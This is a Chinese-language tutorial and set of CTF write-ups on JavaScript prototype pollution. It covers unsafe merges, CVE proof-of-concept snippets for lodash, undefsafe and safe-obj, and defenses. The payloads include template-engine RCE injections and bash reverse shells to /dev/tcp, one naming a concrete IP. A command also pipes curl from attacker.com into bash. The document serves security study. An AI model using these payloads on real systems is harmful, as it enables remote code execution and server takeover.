关于Prototype Pollution Attack的二三事
字数 1554 2025-08-25 22:58:28
JavaScript原型链污染攻击全面解析
一、原型链污染基础概念
1.1 什么是原型链污染
原型链污染是JavaScript特有的安全问题,攻击者通过注入值来覆盖或污染对象的__proto__、构造函数和原型属性,从而影响所有继承该原型的对象。这种攻击可能导致:
- 拒绝服务(DoS)
- 篡改程序执行流程
- 远程代码执行(RCE)
1.2 原型链基础
JavaScript中"万物皆对象",每个实例对象都有一个私有属性(__proto__)指向其构造函数的原型对象(prototype)。原型链访问机制:
- 访问对象属性时,会依次搜索:
- 对象本身
- 对象的原型(
__proto__) - 原型的原型,直到找到或到达
null
访问原型的方式:
objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
1.3 原型链继承示例
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出: Name: Melania Trump
二、原型链污染的产生场景
2.1 主要攻击场景
- 不安全的对象递归合并
- 按路径定义属性
2.2 基本污染原理
通过控制对象属性的键名和值,如:
object[a][b] = value
将a设置为__proto__,就可以给对象的原型设置一个值为value的b属性。
2.3 污染示例
let object1 = {}
let object2 = {}
object1.__proto__.foo = "Hello World"
console.log(object2.foo) // 输出: Hello World
三、Merge类操作导致的污染
3.1 基本Merge函数
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
3.2 关键点
- 直接使用对象字面量时,
__proto__不会被当作键名 - 使用
JSON.parse时,__proto__会被当作真正的键名
// 不会污染原型
let o2 = {a: 1, "__proto__": {b: 2}}
merge({}, o2)
// 会污染原型
let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge({}, o3)
3.3 实际案例
[GYCTF2020]Ez_Express
- 利用
toUpperCase特性绕过admin注册限制 - 使用
admın注册(注意特殊字符) - 污染
outputFunctionName实现RCE
Payload:
{
"lua": "123",
"__proto__": {
"outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
},
"Submit": ""
}
[HackIM Nullcon CTF 2019] - Proton
- 目标:使
admin.аdmin == 1 - Payload:
{"__proto__": {"admin": 1}}
四、Lodash模块相关漏洞
4.1 常见漏洞函数
-
merge.recursiveMerge (CVE-2020-28499)
const merge = require('merge'); const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}'); merge.recursive(obj1, payload2); -
lodash.defaultsDeep (CVE-2019-10744)
const _ = require('lodash'); _.defaultsDeep({}, JSON.parse('{"constructor": {"prototype": {"whoami": "Vulnerable"}}}')); -
lodash.merge
var lodash = require('lodash'); lodash.merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}')); -
lodash.mergeWith (CVE-2018-16487)
lodash.mergeWith({}, JSON.parse(payload)); -
lodash.set
lodash.set(object2, '__proto__.["whoami"]', 'Vulnerable'); -
lodash.setWith
lodash.setWith(object2, '__proto__.["whoami"]', 'Vulnerable'); -
lodash.zipObjectDeep (CVE-2020-8203)
_.zipObjectDeep(['__proto__.z'], [123]);
4.2 配合lodash.template实现RCE
利用sourceURL属性污染:
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"
}
}
五、其他模块的原型链污染
5.1 Undefsafe模块 (CVE-2019-10795)
var a = require("undefsafe");
a(test, '__proto__.toString', function(){ return 'just a evil!' });
[网鼎杯2020青龙组]notes
- 利用
edit_note污染原型 - 污染
commands对象执行命令 - Payload:
id=__proto__.a&author=curl http://attacker.com/shell.txt|bash&raw=a;
5.2 EJS模板引擎RCE (CVE-2022-29078)
配合Lodash污染:
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
[XNUCA 2019 Qualifier]Hardjs
- 污染
outputFunctionName - Payload:
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/1.15.75.117/2333 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
5.3 safe-obj模块漏洞
CVE-2021-25928
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
CVE-2021-25927 (safe-flat)
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
六、防御措施
- 使用
Object.freeze()冻结Object.prototype - 避免使用不安全的递归合并函数
- 对用户输入的JSON数据进行严格验证
- 使用
Object.create(null)创建无原型的对象 - 及时更新存在漏洞的第三方库
七、总结
原型链污染是JavaScript中一种危险的安全漏洞,主要通过:
- 不安全的对象合并
- 路径属性设置
两种主要方式实现。攻击者可以利用此漏洞修改应用程序行为、绕过安全限制甚至执行任意代码。开发人员应特别注意对象合并操作和第三方库的安全使用,及时更新存在漏洞的依赖项。